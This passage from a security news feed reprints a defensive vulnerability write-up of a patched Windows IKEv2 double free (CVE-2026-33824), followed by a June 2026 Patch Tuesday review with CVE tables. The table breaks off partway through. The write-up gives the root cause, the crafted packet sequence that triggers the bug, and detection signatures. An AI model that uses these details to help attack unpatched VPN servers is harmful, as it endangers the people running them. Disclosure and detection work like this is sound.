href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Micros...]]></description>
<link>https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by</em> <em>WARP &amp; MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.</p><p class="">An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.</p><p class=""><strong>The Vulnerability</strong></p><p class="">Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.</p><p class="">The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the <a href="https://datatracker.ietf.org/doc/html/rfc7296">Internet Key Exchange (IKE) Protocol</a> in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The type of <em>payload</em> is determined by the <em>Next Payload</em> header of the previous <em>payload</em>, or the <em>Next Payload</em> field in the header (in the case of the first payload).</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">IKEv2 supports message fragmentation as defined in <a href="https://datatracker.ietf.org/doc/html/rfc7383">RFC 7383</a>. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function <code>IkeReinjectReassembledPacket()</code> performs this reassembly.</p>
<p>A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes <code>IkeHandleSecurityRealmVendorId()</code> to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, <code>IkeReinjectReassembledPacket</code> copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to <code>IkeQueueRecvRequest</code>, which shallow-copies it into a heap-allocated work item. While <code>IkeQueueRecvRequest</code> deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.</p>
<p>When the thread pool processes the queued work item, <code>IkeDestroyPacketContext</code> checks the blob pointer at offset 0xC8 and calls <code>WfpMemFree</code> to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through <code>IkeCleanupMMNegotiation</code>, the SA reference count is decremented via <code>IkeDerefMMSA</code>, eventually triggering <code>IkeFreeMMSA</code>, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by <code>IkeDestroyPacketContext</code> (second free).</p>
<p>A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above. </p>
<p>The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.</p>
<p><b data-preserve-html-node="true">IKE_SA_INIT</b></p>
<p>At byte offset 17 of the UDP payload, the device should check for the three-byte sequence <code>20 22 08</code>, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence <code>68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8</code>, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.</p>
<p><b data-preserve-html-node="true">IKE_AUTH</b></p>
<p>For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence <code>35 20 23 08</code> identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence<code>00 00 00 01</code>. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.</p>
<p>Notes<br>•	All multi-byte values should be treated as big endian.<br>•	When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (<code>\x00\x00\x00\x00</code>), shifting all IKE header content offsets by 4.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824">patched</a> by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. </p><p class="">·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE. </p><p class="">·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.</p><p class="">These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.</p><p class="">Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
